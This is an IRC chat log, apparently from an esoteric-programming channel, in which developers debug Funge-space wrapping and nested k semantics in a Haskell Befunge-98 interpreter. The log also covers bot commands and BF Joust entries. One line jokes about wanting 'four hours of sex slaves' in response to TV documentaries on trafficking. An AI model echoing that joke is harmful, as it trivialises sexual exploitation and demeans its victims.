22:38:48 <elliott> Rihgt.
22:38:49 <elliott> *Right.
22:38:54 <elliott> Now to translate that to functional code.
22:38:55 <Vorpal> elliott, and that will always exist unless another thread messes up
22:39:04 <Vorpal> elliott, someho
22:39:05 <Vorpal> how*
22:40:02 <elliott> Vorpal: What happens then :P
22:40:12 <Vorpal> elliott, buggered if I know
22:40:16 <Vorpal> elliott, probably infinite loop
22:40:21 <Vorpal> in the wrapping code
22:40:33 <Vorpal> elliott, not that there is any sensible suggestion as for what you should do
22:40:43 <Vorpal> elliott, you don't exactly have ATHR
22:41:26 <ais523> elliott: doing all of mycology, even TRDS?
22:41:33 <elliott> ais523: that's a separate test
22:41:33 <Vorpal> I hope so
22:41:36 -!- zzo38 has left (?).
22:42:00 <Vorpal> elliott, maybe get it running in mycology and do wrapping when you hit that
22:42:03 <Vorpal> that seems saner
22:42:10 <elliott> loop (x,y) (vx,vy) fs =
22:42:10 <elliott> let ((mnx,mny),(mxx,mxy)) = bounds fs
22:42:10 <elliott> in if x < mnx || y < mny
22:42:10 <elliott> then (mnx+vx, mny+vy)
22:42:10 <elliott> else if x > mnx || y > mny
22:42:10 <elliott> then loop (x-vx, y-vy)
22:42:12 <elliott> else (x,y)
22:42:16 <elliott> That look about right?
22:42:25 <elliott> (vx,vy) there are ORIGINAL (vx,vy)
22:42:27 <elliott> not flipped
22:42:50 <copumpkin> why tuple things up like that?
22:43:01 <elliott> copumpkin: because they're Vectors
22:43:06 <elliott> funge vectors
22:43:11 <copumpkin> pff who cares :P
22:45:43 <elliott> argh, i need to flip < and >
22:45:52 <elliott> depending on which way we're travelling
22:45:52 <elliott> :(
22:46:16 <elliott> *Shiro.FungeSpace> :load "Shiro/FungeSpace.hs"
22:46:16 <elliott> [1 of 2] Compiling Shiro.Value ( Shiro/Value.hs, interpreted )
22:46:16 <elliott> [2 of 2] Compiling Shiro.FungeSpace ( Shiro/FungeSpace.hs, interpreted )
22:46:16 <elliott> Shiro/FungeSpace.hs:64:12:
22:46:16 <elliott> Couldn't match expected type `(t, t1)'
22:46:18 <elliott> against inferred type `(t, t1) -> (t, t1) -> (t2, t3) -> (t, t1)'
22:46:20 <elliott> Probable cause: `loop' is applied to too few arguments
22:46:21 <quintopia> if it's possible to do regex->DFA->minimal equivalent DFA->regex, why can i not find where someone has already built a regex minimizer?
22:46:22 <elliott> In the expression: loop (x - vx, y - vy)
22:46:24 <elliott> In the expression:
22:46:26 <elliott> if x > mnx || y > mny then loop (x - vx, y - vy) else (x, y)
22:46:28 -!- elliott has left (?).
22:46:32 -!- elliott has joined.
22:46:34 <elliott> *Shiro.Value> :load "Shiro/FungeSpace.hs"
22:46:36 <elliott> [1 of 2] Compiling Shiro.Value ( Shiro/Value.hs, interpreted )
22:46:38 <elliott> [2 of 2] Compiling Shiro.FungeSpace ( Shiro/FungeSpace.hs, interpreted )
22:46:40 <elliott> Ok, modules loaded: Shiro.Value, Shiro.FungeSpace.
22:46:42 <elliott> *Shiro.FungeSpace> advance (0,0) (2,7) hello
22:46:44 <elliott> <interactive>:1:20: Not in scope: `hello'
22:46:48 <elliott> *Shiro.FungeSpace> let hello = mergeByteString (0,0) emptyFungeSpace "hello"
22:46:50 <elliott> *Shiro.FungeSpace> advance (0,0) (2,7) hello
22:46:52 <elliott> (0,0)
22:46:54 <elliott> wtf
22:46:56 <elliott> did not mean to copy that much
22:46:58 <elliott> :/
22:47:00 <elliott> quintopia: sam hughes did
22:47:44 <quintopia> oho...
22:49:35 <quintopia> there is no software section on qntm :/
22:50:14 <elliott> it's in the blog
22:50:24 <quintopia> oh
22:50:42 <elliott> well
22:50:44 <elliott> "It's also been proven that the process of simplifying a regular expression to any significant extent is seriously computationally challenging."
22:50:52 <elliott> hmm
22:50:53 <elliott> where is it
22:51:25 <quintopia> oh
22:51:26 <quintopia> i found it
22:51:34 <quintopia> it's not the full minimizer
22:51:44 <quintopia> just a decent DFA->regex alg
22:52:23 <elliott> quintopia: and a regexp parser
22:52:36 <quintopia> yes well
22:52:54 <quintopia> i don't actually know how to minimize a DFA :P
22:53:26 <Vorpal> elliott, this scares me: http://qntm.org/chomsky (the mention of PHP)
22:53:36 <elliott> PHP? Seriously?!
22:53:37 <elliott> My current ongoing pet project is input validation for web forms. Cross-site scripting attacks are incredibly prevalent. There are many ways to avoid them. One of them is to escape literally everything input by a user and thereby permit no formatting whatsoever. Another is to permit users to use some hideous non-standard non-HTML markup, such as Wikipedia's syntax or Markdown. There are a million of these formats - seemingly one per wiki - and th
22:53:37 <elliott> ey are all very slightly different which makes learning them a massive irritation, particularly if, like me, you already know the one true markup language, namely HTML itself.
22:53:40 <elliott> [more justification]
22:53:56 <elliott> [[So anyway, during this process I decided that it would be easier to handle an arbitrary context-free grammar if I first rendered it into Chomsky Normal Form. It turned out that I was mistaken, and I am now using an entirely different approach, which means toCnf() is useless to me. Still, it might be useful to you!
22:53:56 <elliott> ]]
22:53:56 <Vorpal> yes I saw that...
22:55:27 <quintopia> also the comments on his DFA->regex say that his solution is not exactly amazing in terms of giving small output, and there may be better solutions already in existence...
22:56:25 <elliott> *Shiro.FungeSpace> let hello = mergeByteString (0,0) emptyFungeSpace "hello"
22:56:26 <elliott> *Shiro.FungeSpace> advance (0,0) (2,7) hello
22:56:26 <elliott> (0,0)
22:56:28 <elliott> gah!!
22:56:48 <elliott> *Shiro.FungeSpace> advance (4,0) east hello
22:56:49 <elliott> (4,0)
22:56:49 <elliott> *Shiro.FungeSpace> advance (5,0) east hello
22:56:49 <elliott> (5,0)
22:56:49 <elliott> lol
22:56:57 <quintopia> so you haven't given up yet :D
22:57:49 <elliott> well it wraps properly now but still doesn't fucking handle non-cardinal
22:58:03 <elliott> Vorpal: what should (2,7) on "hello" do? loop forever, right?
22:58:04 <elliott> starting at (0,0)
22:58:20 <elliott> but my algorithm can't return that, because it only returns a position in the bounding box
22:58:23 <elliott> and none of those "loop forever"
22:58:48 <ais523> elliott: no, it returns to (0,0)
22:58:58 <ais523> as that's the only point in-bounds on that lahey-line
22:59:01 <Vorpal> elliott, it returns to 0,0 forever
22:59:03 <Vorpal> yeah
22:59:13 <elliott> Vorpal: ...so my algo did work all along
22:59:18 <elliott> >_<
22:59:21 <Vorpal> elliott, no you said it went to (0,2)
22:59:23 <Vorpal> ...
22:59:25 <elliott> oh
22:59:28 <elliott> ok well it works now :P
22:59:43 <Vorpal> elliott, but you need to handle bottom here, in case the algorithm for looping never returns
22:59:46 <Vorpal> that can happen
22:59:46 <elliott> *Shiro.FungeSpace> advance (4,0) (2,0) hello
22:59:46 <elliott> (0,0)
22:59:48 <elliott> that's not right, is it?
22:59:50 <elliott> should be (2,0)
23:00:05 <Vorpal> ask ais523 or Deewiant. I'm going to sleep
23:00:06 <Vorpal> night!
23:00:38 <elliott> hmm
23:00:40 <elliott> well it should
23:00:43 <elliott> *should be
23:00:43 <Deewiant> If your bounding box goes to (5,0) it should be (1,0)?
23:00:50 <elliott> Deewiant: fungespace is "hello"
23:01:00 <elliott> so no
23:01:05 <Deewiant> Then (0,0) is right
23:01:12 <elliott> *Shiro.FungeSpace> hello
23:01:12 <elliott> FungeSpace (fromList [((0,0),104),((1,0),101),((2,0),108),((3,0),108),((4,0),111)])
23:01:12 <elliott> *Shiro.FungeSpace> bounds hello
23:01:12 <elliott> ((0,0),(4,0))
23:01:18 <Deewiant> You know that you can test these easily enough using CCBI's debugger? :-P
23:01:29 <elliott> That would require getting a D compiler.
23:01:34 <elliott> Deewiant: Well, I dunno about that (0,0)
23:01:38 <elliott> The space is, conceptually,
23:01:40 <elliott> hellohellohellohello
23:01:42 <elliott> We're on the "o"
23:01:44 <elliott> We want to go forwards two
23:01:46 <elliott> So we end up at "e"
23:01:48 <elliott> Which is (2,0)
23:01:50 <Deewiant> It only requires a compiler if you're as paranoid about binaries as fizzie is.
23:01:58 <elliott> So surely (4,0) + (2,0) = (2,0).
23:02:05 <elliott> Deewiant: Heh, fizzie's paranoid about binaries?
23:02:07 <Deewiant> "e" is (1,0).
23:02:12 <elliott> Er, right.
23:02:15 <elliott> So it should be (1,0).
23:02:20 <elliott> But it gives (0,0).
23:02:23 <elliott> No?
23:03:24 <Deewiant> You try to go forwards two, but you can't, so you reverse and travel backwards four, hitting the "h", at which point there's again only emptiness in front of you, so you reverse again and are at (0,0).
23:03:46 <elliott> Deewiant: So Fungespace doesn't actually wrap intuitively.
23:03:47 <elliott> Wonderful :P
23:03:48 <elliott> *Funge-space
23:03:57 <elliott> Was what Vorpal said about the algorithm possibly not terminating actually true or just crap?
23:04:26 <elliott> >_>
23:04:35 <Deewiant> If you start on an empty line, the "travel to next nonspace cell" algo doesn't terminate since there's no nonspace.
23:05:00 <elliott> *Shiro.FungeSpace> advance (0,0) east emptyFungeSpace
23:05:00 <elliott> (0,0)
23:05:02 <elliott> Deewiant: Does too.
23:05:08 <elliott> loop (x,y) (vx,vy) (mnx,mny) (mxx,mxy)
23:05:08 <elliott> | x < mnx && y < mny = (mnx+vx, mny+vy)
23:05:09 <elliott> | x > mnx || y > mny = loop (x-vx, y-vy) (vx,vy) (mnx,mny) (mxx,mxy)
23:05:09 <elliott> | otherwise = (x,y)
23:05:19 <elliott> Of course that algorithm might be totally broken. I think it fails for negative cardinalities, for instance.
23:05:21 <Deewiant> That's not "travel to next nonspace cell"
23:05:24 -!- nddrylliog has joined.
23:05:26 <Deewiant> Since (0,0) isn't a nonspace cell. :-P
23:05:43 <elliott> Deewiant: No, but it's "where to go next". :p
23:05:47 <Deewiant> elliott: But I don't see what's nonintuitive about (0,0).
23:05:54 <elliott> Deewiant: Hmm, although ... worryingly, that will cause infinite ticks.
23:05:57 <elliott> :/
23:05:58 <elliott> Oh, wait.
23:06:03 <elliott> If advance coords == coords, then loop forever.
23:06:10 <elliott> *Shiro.FungeSpace> advance (4,0) (-2,0) hello
23:06:10 <elliott> (2,0)
23:06:11 <elliott> *Shiro.FungeSpace> advance (2,0) (-2,0) hello
23:06:11 <elliott> (0,0)
23:06:16 <elliott> Wait, that's right X-D
23:06:26 <elliott> *Shiro.FungeSpace> advance (0,0) (-2,0) hello
23:06:26 <elliott> (0,0)
23:06:27 <elliott> *That's* not.
23:06:52 <Deewiant> No, that should be (4,0). :-P
23:07:42 <elliott> *Shiro.FungeSpace> advance (0,0) (-2,0) hello
23:07:42 <elliott> (0,0)
23:07:50 <elliott> Even after adding ltx which is (>) if vx < 0 and (<) otherwise.
23:07:52 <elliott> Same for gt and y.
23:07:55 <elliott> :-/
23:08:10 <elliott> Oh wait.
23:08:13 <Vorpal> back
23:08:17 <elliott> I need to flip mn* and mx* in that case.
23:08:18 <elliott> Aargh.
23:08:41 <elliott> WTF.
23:08:52 <elliott> No, surely that's not necessary.
23:08:58 <Vorpal> <elliott> Was what Vorpal said about the algorithm possibly not terminating actually true or just crap? <-- false in practise unless you have t. Then you can have another thread remove that thing from you making it shrink the bounds so you never even get inside the bounds
23:09:11 <Vorpal> hm wait
23:09:16 <Vorpal> I think k and p could do it
23:09:20 <Vorpal> yes indeed
23:09:22 <elliott> Mycothread test that by any chance? :P
23:09:37 <Vorpal> elliott, the t test is in the main mycology iirc?
23:09:47 <Vorpal> and I doubt it does
23:10:06 <Deewiant> Of course it doesn't test stuff that would cause the interp to infloop :-P
23:10:17 <elliott> Should do
23:10:18 <elliott> :P
23:10:35 <Vorpal> Deewiant, but I'm pretty sure k and t could od it
23:10:37 <Vorpal> do*
23:11:00 <elliott> Bleeeeh... this is the worst.
23:11:15 <elliott> I have no idea how I need to tweak this for negative deltas.
23:12:57 <elliott> loop (x,y) (vx,vy) (mnx,mny) (mxx,mxy)
23:12:57 <elliott> | x < mnx && y < mny = (mnx+vx, mny+vy)
23:12:57 <elliott> | x > mnx || y > mny = loop (x-vx, y-vy) (vx,vy) (mnx,mny) (mxx,mxy)
23:12:57 <elliott> | otherwise = (x,y)
23:13:00 <elliott> This code is absolutely perfect.
23:13:03 <elliott> If Deewiant disagrees, he's wrong.
23:13:08 <elliott> And only ABSOLUTE PROOF can change my mind.
23:13:48 <Deewiant> Does it work? If not, it's imperfect. :-P
23:14:36 <elliott> Deewiant: Oh yes. Give me some inputs, and if you don't like the output, you'd better point me to the place in the code that causes them to be incorrect.
23:14:41 <elliott> Otherwise I, you know, don't believe you.
23:14:46 -!- azaq231 has joined.
23:14:59 -!- azaq231 has quit (Changing host).
23:14:59 -!- azaq231 has joined.
23:15:08 <augur> elliott: sorry, where does mx come in?
23:15:15 <Deewiant> Run Mycology and if it works, that probably works.
23:15:15 <elliott> mx is max
23:15:17 <augur> its not used in that at all
23:15:19 <nddrylliog> elliott: proof? that sounds like a job for Crowbar.
23:15:20 <elliott> Deewiant: It can't run shit :P
23:15:22 <elliott> augur: ???
23:15:25 <augur> look at the definition
23:15:33 <augur> its the last arg, but that arg is never used otherwise
23:15:50 <elliott> Hmm, right
23:17:25 <elliott> Ambiguous type variable `a' in the constraint:
23:17:25 <elliott> `Ord a' arising from a use of `>' at Shiro/FungeSpace.hs:69:40-42
23:17:26 <elliott> Maaaan
23:17:34 <elliott> Why you gotta be so that
23:17:37 -!- azaq23 has quit (Ping timeout: 240 seconds).
23:17:39 <augur> yeah i bet you're ambiguous
23:17:59 <elliott> *Shiro.FungeSpace> let hello = mergeByteString (0,0) emptyFungeSpace "hello"
23:18:00 <elliott> *Shiro.FungeSpace> advance (0,0) (-2,0) hello
23:18:00 <elliott> (4,0)
23:18:03 <elliott> Ha ha Deewiant
23:18:05 <elliott> Nwo it am perfect
23:18:06 <elliott> *Now
23:18:16 <elliott> (But ugley)
23:18:29 <olsner> it am perfect but ugley!
23:18:52 -!- lambdabot has joined.
23:19:42 <elliott> olsner: you could say its butt-ugley
23:19:43 <elliott> haha
23:20:12 <olsner> @botsnack
23:20:13 <lambdabot> :)
23:20:56 <quintopia> oh, botsnack does work. wrong face though
23:21:02 <quintopia> `botsnack
23:22:31 <HackEgo> No output.
23:22:32 <elliott> quintopia: what face should it be
23:23:30 <quintopia> :D
23:23:48 <elliott> ^def botsnack ul (:D)S
23:23:48 <fungot> Defined.
23:23:49 <elliott> ^botsnack
23:23:49 <fungot> :D
23:23:59 <quintopia> five Hackbot one too!
23:24:02 <quintopia> *give
23:24:27 <elliott> http://cpansearch.perl.org/src/SIMONW/Bot-BasicBot-Pluggable-Module-Fun-0.9/lib/Bot/BasicBot/Pluggable/Module/Botsnack.pm
23:24:30 <elliott> googling suggests :) is correct
23:24:41 <quintopia> :) is lame and oldschool
23:25:28 <Gregor> `run echo -e '#!/bin/sh\necho '\''OH BARF >XO'\''' > bin/botsnack; chmod 0755 bin/botsnack
23:25:30 <HackEgo> No output.
23:25:33 <Gregor> `botsnack
23:25:35 <HackEgo> OH BARF >XO
23:25:38 <elliott> Vorpal: anyway if advance pos == pos and pos has a space at it, what do you do? destroy the ip?
23:25:46 <elliott> Vorpal: theoretically it should take 0 ticks forever
23:25:49 -!- Behold has joined.
23:25:54 <elliott> but that would stop other ips from running
23:25:57 <Deewiant> Infinite loop.
23:26:00 <elliott> ah.
23:26:05 <Vorpal> elliott, lock up forever in calculating wrapping :P
23:26:19 <elliott> Vorpal: not in calculating wrapping, it'll actually have to be a special case :)
23:26:21 <Deewiant> Or do what CCBI does and detect the situation and abort with a nice error :-P
23:26:26 <Vorpal> elliott, no it doesn't
23:26:30 <elliott> Deewiant: but it's perfectly valid!
23:26:32 <elliott> Vorpal: does for me
23:26:34 <Vorpal> elliott, why
23:26:41 <elliott> Vorpal: because my algorithm doesn't even look at fungespace
23:26:43 <Deewiant> elliott: CCBI has a compatibility option in case you actually want to infloop
23:26:43 <elliott> just uses the bounds
23:26:44 <quintopia> thx gregor
23:26:52 <elliott> Deewiant: I'll do it the Befunge-93 way.
23:26:56 <Vorpal> elliott, you have to?
23:26:57 <quintopia> also, what's the best kool-aid flavor?
23:27:03 <elliott> The program is on a line with no non-space cells.
23:27:17 <elliott> Do you want to loop forever, or terminate the program? (loop/terminate)
23:27:18 <elliott> >
23:27:27 <elliott> Vorpal: why?
23:27:39 <Vorpal> elliott, well okay you don't I guessd
23:27:41 <Vorpal> guess*
23:27:48 <Vorpal> elliott, since space takes no time
23:27:53 <Ilari> Bit more powerful version of program searching for powers of two lacking 1248: ~950 million powers of two per minute.
23:28:29 <Vorpal> Ilari, is it even possible to have a power of two lacking all of those?
23:28:45 <elliott> Deewiant: Wait, for "hello", is the maximum bound (5,0) or (4,0)?
23:28:46 <Vorpal> Ilari, even 2^0 = 1
23:28:53 <Deewiant> elliott: Define "maximum bound"
23:28:59 <elliott> Deewiant: The thing y returns.
23:29:03 <Deewiant> (4,0).
23:29:05 <Ilari> 1, 2, 4, 8 that is.
23:29:18 <Vorpal> Ilari, actually the last digit must be even. So that leaves 6 as the only remaining alternative
23:29:18 <Ilari> 2^16 = 65536.
23:29:22 <elliott> Deewiant: Yay, I'm doin it rite.
23:29:28 <Vorpal> ah yes
23:29:41 -!- BeholdMyGlory has quit (Ping timeout: 276 seconds).
23:29:48 <elliott> Deewiant: Rapidly growing anxiety at the prospect of actually having to write the interpreter loop at this junction.
23:30:10 <Ilari> And that's the only one below 5 bilionth power...
23:31:05 <elliott> For all these reasons, when encountering any unimplemented instruction (this includes instructions like | in Unefunge,) the Funge interpreter should at least provide an option for informing the user that it was told to execute an instruction that isn't implemented, and possibly warning the user that this file might be an incorrect language or version.
23:31:13 <elliott> Does anything actually do that? :-P
23:31:29 <Deewiant> ccbi --warnings
23:31:46 <Deewiant> cfunge -W
23:32:13 <Deewiant> rcfunge2 -w
23:32:28 <elliott> Hahaha
23:32:29 <Deewiant> stinkhorn --warnings
23:32:37 <Ilari> For anything else than 2^16: >2^7368000000
23:32:51 <elliott> Deewiant: $ shiro foo.b98
23:32:59 <elliott> The program is trying to execute the illegal instruction (something goes here).
23:33:02 <elliott> Do you want to:
23:33:08 <elliott> (1) Reflect and continue execution;
23:33:12 <elliott> (2) Substitute another instruction; or
23:33:13 <elliott> (3) Terminate?
23:33:14 <elliott> >
23:33:21 <elliott> THIS IS THE SOLUTION TO ALL AMBIGUITIES
23:33:59 <Deewiant> Of course that's somewhat problematic if the program you're running wants to read stdin.
23:34:32 <Deewiant> And also, (1) is quite clearly mandated. :-P
23:34:53 <elliott> Deewiant: I don't see why, the interpreter would give control back to the program afterwards.
23:34:58 <elliott> Maybe it'll pop up a graphical dialogue box instead.
23:35:19 <Deewiant> elliott: shiro foo.b98 < file
23:35:24 <Ilari> >2^10000000000
23:35:29 <elliott> Deewiant: /dev/tty
23:35:49 <Deewiant> If you make it actually use that, fine :-D
23:36:49 <ais523> elliott: it should only do that for division by zero
23:36:52 <elliott> Deewiant: When a program tries to read a non-existent file:
23:36:56 <elliott> Abort/Retry/Fail?
23:37:02 <elliott> ais523: Befunge-98 specifies the result of /0 (0)
23:37:11 <ais523> elliott: I know, I was joking
23:37:14 <elliott> :P
23:37:52 <elliott> Hmm...
23:38:31 <elliott> I love ?'s name.
23:38:37 <Gregor> wtfbbq
23:38:42 <Gregor> I'm looking over the TV listings.
23:38:47 <Gregor> MSNBC is apparently having Sex Slave Day
23:38:51 <elliott> What
23:39:20 <Gregor> "Sex Slaves: The Teen Trade", "Sex Slaves in the Suburbs", "MSNBC Undercover: Sex Slaves: Texas"
23:39:29 <elliott> Amazing.
23:39:50 <Gregor> Then "MSNBC Undercover: Sex Slaves: Minh's Story"
23:39:53 <Gregor> That's four hours of sex slaves.
23:40:18 <elliott> I wouldn't mind four hours of sex slaves IF YOU KNOW WHAT I MEAN
23:41:37 <elliott> Deewiant: 1kxy executes x twice before executing y, right?
23:41:39 <elliott> When travelling east.
23:41:43 <elliott> And 2kxy executes it thrice.
23:42:05 <elliott> But 0kxy jumps straight to y.
23:42:06 <Deewiant> x being a bad example because it changes the delta, but yes
23:42:06 <elliott> Correct?
23:42:12 <elliott> Deewiant: x was a variable.
23:42:17 <Deewiant> I figured
23:42:24 <elliott> Deewiant: What about (-1)kxy?
23:42:34 <Deewiant> UNDEF
23:42:44 <Deewiant> The consensus is to reflect, I think
23:43:02 <elliott> Deewiant: Obviously nkxy for n <= 0 actually jumps n instructions after the y.
23:43:03 <elliott> So:
23:43:06 <elliott> 0kxy --> y
23:43:09 <elliott> -1kxyz --> z
23:43:16 <elliott> -2kabcd --> d
23:43:22 <elliott> BEST BEHAVIOUR Y/B
23:43:23 <elliott> *Y/N
23:43:26 <Deewiant> That's an option Mycology doesn't take into account :-D
23:43:36 <elliott> Deewiant: If I implement it will you fix Mycology? :D
23:43:39 <Deewiant> I thought of using the absolute value, but not that
23:44:02 <elliott> It's, like, totally logical.
23:44:57 <elliott> [[Rc/Funge–98, by Mike Riley, is another POSIX-only interpreter written in C (though not C99, like cfunge). This one is set apart from all the others in that it:
23:44:57 <elliott> First implemented Befunge–98.
23:44:57 <elliott> ]]
23:45:00 <elliott> Pretty sure that FBBI was first.
23:45:26 <Deewiant> Wrong.
23:45:31 <elliott> (You might want to note that he, er, is no longer the developer, although I understand that this page is pretty old.)
23:45:31 <Deewiant> :-P
23:45:36 <elliott> Deewiant: How strange.
23:45:44 <elliott> Deewiant: Or are you saying that FBBI doesn't even come close to being an implementation? :-)
23:45:59 <elliott> I note the latest version doesn't test it.
23:46:18 <Deewiant> No, Rc/Funge-98 was just the first impl.
23:46:30 <elliott> Ah.
23:46:35 <elliott> FBBI came out in 1998, I think, so it must have been pretty close.
23:47:02 <Deewiant> With the latest versions I haven't bothered to test stuff that doesn't work too well :-P
23:47:07 <Deewiant> And that won't ever get updated
23:47:43 <elliott> Deewiant: Going east, starting at the beginning of the line, considering x as a nop, with 1 on the stack, xk goes:
23:47:50 <elliott> (where _x_ denotes ip is here)
23:47:55 <elliott> _x_k --> execute x
23:48:02 <elliott> x_k_ --> execute x from start of line
23:48:05 <elliott> _x_k --> execute k
23:48:07 <elliott> *x
23:48:08 <elliott> right?
23:48:12 <elliott> as in, k wraps around
23:48:13 <Deewiant> "From start of line"?
23:48:16 <elliott> Deewiant: Yes.
23:48:18 <Deewiant> Everything wraps around
23:48:28 <elliott> Deewiant: So k wraps around to find x, runs it, and then the IP wraps around to x.
23:48:29 <Deewiant> But note that you are executing the x at the k
23:48:29 <elliott> Right.
23:48:35 <elliott> Deewiant: Er.
23:48:42 <Deewiant> This matters for instructions that take the IP's position into account
23:48:44 <elliott> Deewiant: Does that means that "kj" moves down from k? :-D
23:48:47 <elliott> Awesome.
23:49:01 <elliott> Deewiant: What does 11kkj do?
23:49:02 <Deewiant> Mycology is pretty nitpicky about k, don't worry
23:49:07 <Deewiant> Don't ask me about nested k.
23:49:08 <elliott> JUST OUT OF CURIOSITY
23:49:09 <Deewiant> Just don't.
23:49:12 <elliott> Deewiant: I'M ASKING
23:49:17 <elliott> IIIIII'M ASKING
23:49:19 <Deewiant> Vorpal disagrees with me on it anyway.
23:49:25 <elliott> Well let me try and work it out myself.
23:49:34 <elliott> Let's say 11kkx, where x does nothing.
23:49:42 <elliott> So.
23:49:52 <elliott> left-k goes to execute right-k.
23:50:06 <Deewiant> In my defence, cfunge special-cases nested k and I don't.
23:50:06 <elliott> k is defined as being based on the "path of the IP".
23:50:12 <elliott> So k finds the right k again.
23:50:14 <elliott> And executes it.
23:50:17 <elliott> Right k finds the right k again.
23:50:19 <elliott> And executes it.
23:50:28 <elliott> Aaaand it's an infinite loop taking 0 ticks.
23:50:29 <Deewiant> Right k doesn't find itself.
23:50:32 <elliott> ORLY?
23:50:36 <elliott> "Then it finds the next instruction in Funge-space in the path of the IP (note that this cannot be a marker such as space or ;),"
23:50:43 <elliott> The IP is still on the first k.
23:50:46 <elliott> The next instruction after the IP is the second k.
23:50:49 <elliott> So the second k finds the second k.
23:50:54 <elliott> And executes it.
23:51:00 <elliott> Which actually pops *0* off the stack!
23:51:04 <elliott> Because now we have no stack left.
23:51:07 <elliott> And so it skips the x.
23:51:12 <elliott> So 11kxy goes to y after 0 ticks.
23:51:15 <Vorpal> elliott, nested k is an issue
23:51:16 <Deewiant> I'm too tired to think about this now, do whatever you like. :-P
23:51:17 <elliott> Well, after 1 tick.
23:51:19 <Vorpal> read the code if you care
23:51:26 <elliott> Deewiant: Nonono, I just came up with a new opinion.
23:51:30 <Vorpal> I don't really care about it. No one uses it anyway!
23:51:38 <elliott> Deewiant: 11kxy.
23:51:42 <elliott> erm
23:51:44 <elliott> 11kkxy
23:51:46 <Vorpal> elliott, there is a test case in tests/ in cfunge for it iirc
23:51:47 <elliott> Stack = 1 1.
23:51:49 <Vorpal> check there if you care
23:51:50 <elliott> k pops first stack.
23:51:52 <elliott> Stack = 1.
23:51:57 <elliott> It goes to execute the second k.
23:51:59 <elliott> k pops first stack.
23:52:02 <elliott> Stack = 0 0 0 0 0 0 ...
23:52:05 <elliott> The IP is still on the first k.
23:52:13 <elliott> The next instruction in Funge-space in the IP's path is the second k, therefore.
23:52:15 <Vorpal> elliott, what about 3 nested k?
23:52:19 <elliott> It goes to execute the second k.
23:52:24 <elliott> The second k pops off 0.
23:52:28 <elliott> Since it's 0, it skips the second k.
23:52:31 <elliott> It goes on to x.
23:52:32 <Vorpal> night! →
23:52:40 <elliott> Deewiant: 11kkxy goes on to x in one tick.
23:52:45 <elliott> Deewiant: How does cfunge behave?
23:53:11 <Deewiant> Download it and find out. I don't want to think about this now, and I honestly don't remember how cfunge works.
23:53:17 <elliott> Okay fine.
23:53:28 <elliott> Deewiant: Is there an instruction in CCBI that just prints something out to the screen? :P
23:53:30 <elliott> Optimistic, I know.
23:53:40 <Deewiant> Like , or .? What do you mean?
23:53:40 <elliott> Just something that doesn't fuck with things and lets me see what gets executed.
23:53:47 <elliott> Deewiant: Something that doesn't change the stack.
23:53:48 <Deewiant> Use the tracer
23:53:55 <elliott> Deewiant: Okay.
23:53:56 <Deewiant> And step through things
23:54:00 <elliott> Is there an explicit nop isntruction?
23:54:02 <Deewiant> But it does k in one step, so it won't help you with that
23:54:02 <Deewiant> z
23:54:03 <elliott> in funge98 i mean
23:54:14 <elliott> Deewiant: If it does k in one step, then this doesn't help at all :P
23:54:17 <elliott> *that doesn't help at all
23:54:42 <Deewiant> Read the source. :-P
23:55:36 <elliott> Deewiant: Your interpretation agrees with me.
23:55:37 <elliott> \o/
23:55:37 <myndzi> |
23:55:37 <myndzi> /<
23:55:55 <elliott> Deewiant: I think mine and therefore yours is pretty much objectively correct :P
23:56:01 * Lymia returns
23:56:35 <Deewiant> elliott: "The next instruction in Funge-space in the path of the IP" refers to the instruction after the k, so it's the one after the inner k
23:56:50 <elliott> Deewiant: I disagree.
23:56:55 <elliott> Deewiant: It refers to the instruction after the k.
23:56:57 -!- FireFly has quit (Quit: swatted to death).
23:57:10 <elliott> Deewiant: The next instruction in Funge-space in the path of the IP is the next instruction that the IP would hit.
23:57:14 -!- nddrylliog has quit (Quit: Ex-Chat).
23:57:22 <elliott> I don't think it refers to the next instruction [relative to the k].
23:58:25 <Lymia> !bfjoust evoa +>-->---->++<.-<->>>>++>++++>->++>.+>>>.<(>---[+])*58<>-..<<->><><>-
23:58:45 <EgoBot> Score for Lymia_evoa: 11.3
23:59:30 <Lymia> Hey!
23:59:33 <Lymia> It didn't completely fail1
23:59:36 <Lymia> !*
2011-02-07
00:07:04 <elliott> @pl do x <- pop; push (if x == 0 then 1 else 0)
00:07:04 <lambdabot> (line 1, column 12):
00:07:05 <lambdabot> unexpected ";"
00:07:05 <lambdabot> expecting letter or digit, variable, "(", "`", "!!", ".", operator or end of input
00:07:08 <elliott> @undo do x <- pop; push (if x == 0 then 1 else 0)
00:07:08 <lambdabot> pop >>= \ x -> push (if x == 0 then 1 else 0)
00:07:11 <elliott> @pl pop >>= \ x -> push (if x == 0 then 1 else 0)
00:07:11 <lambdabot> push . flip (flip if' 1 . (0 ==)) 0 =<< pop
00:07:20 <elliott> @pl pop >>= \ x -> push (FOOP x)
00:07:20 <lambdabot> push . FOOP =<< pop
00:07:26 <Deewiant> :-D
00:07:26 <Lymia> Perl?
00:07:32 <elliott> Lymia: Haskell.
00:07:36 <elliott> Deewiant: It's how you selectively disable point-freeing!
00:07:39 <elliott> PRETEND IT'S A CONSTRUCTOR
00:07:43 <Lymia> What does "pl" have to do with "Haskell
00:07:48 <Deewiant> I know, I was just amused by "FOOP"
00:07:51 <elliott> Lymia: Point-free code. Or point-less.
00:08:07 <elliott> > fromEnum False
00:08:08 <lambdabot> 0
00:08:10 <elliott> > fromEnum True
00:08:11 <lambdabot> 1
00:08:16 <elliott> > fromEnum . not . toEnum
00:08:17 <lambdabot> Overlapping instances for GHC.Show.Show
00:08:18 <lambdabot> (GHC.T...
00:08:23 <elliott> > (fromEnum . not . toEnum) 34
00:08:25 <lambdabot> *Exception: Prelude.Enum.Bool.toEnum: bad argument
00:08:27 <elliott> Aww.
00:08:29 <Deewiant> HA HA
00:08:31 <elliott> > (fromEnum . not . (==0)) 34
00:08:33 <lambdabot> 1
00:08:37 <elliott> > (fromEnum . not . (/= 0)) 34
00:08:39 <lambdabot> 0
00:08:40 <elliott> > (fromEnum . not . (/= 0)) 1
00:08:42 <lambdabot> 0
00:08:42 <elliott> > (fromEnum . not . (/= 0)) 0
00:08:44 <lambdabot> 1
00:08:45 <Deewiant> You can just drop the not, you know.
00:08:48 <elliott> Oh yeah.
00:09:00 <elliott> doCharIns '!' = push . fromEnum . (== 0) =<< pop
00:09:02 <elliott> :D
00:09:09 <Lymia> !bfjoust evob +->>>--+.-..<>>-+--<>->-+-..--.->+++>>++++>>+>>(>--<>[+])*51-+.><++.+----.
00:09:15 <EgoBot> Score for Lymia_evob: 6.1
00:09:41 <elliott> Couldn't match expected type `Value' against inferred type `Int'
